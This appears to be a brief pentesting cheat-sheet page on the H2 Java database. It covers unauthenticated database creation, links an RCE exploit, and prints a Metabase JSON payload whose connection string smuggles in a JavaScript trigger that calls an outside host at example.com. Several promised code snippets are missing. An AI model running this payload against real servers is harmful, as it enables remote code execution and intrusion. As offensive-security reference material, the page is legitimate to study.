H2 - Java SQL database

Official page: https://www.h2database.com/html/main.html

Access

You can indicate a non-existent name a of database in order to create a new database without valid credentials (unauthenticated):

Or if you know that for example a mysql is running and you know the database name and the credentials for that database, you can just access it:

Trick from box Hawk of HTB.

RCE

Having access to communicate with the H2 database check this exploit to get RCE on it: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL Injection to RCE

In this post a payload is explained to get RCE via a H2 database abusing a SQL Injection.

[...]
"details":
    {
        "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
        "advanced-options": false,
        "ssl": true
    },
[...]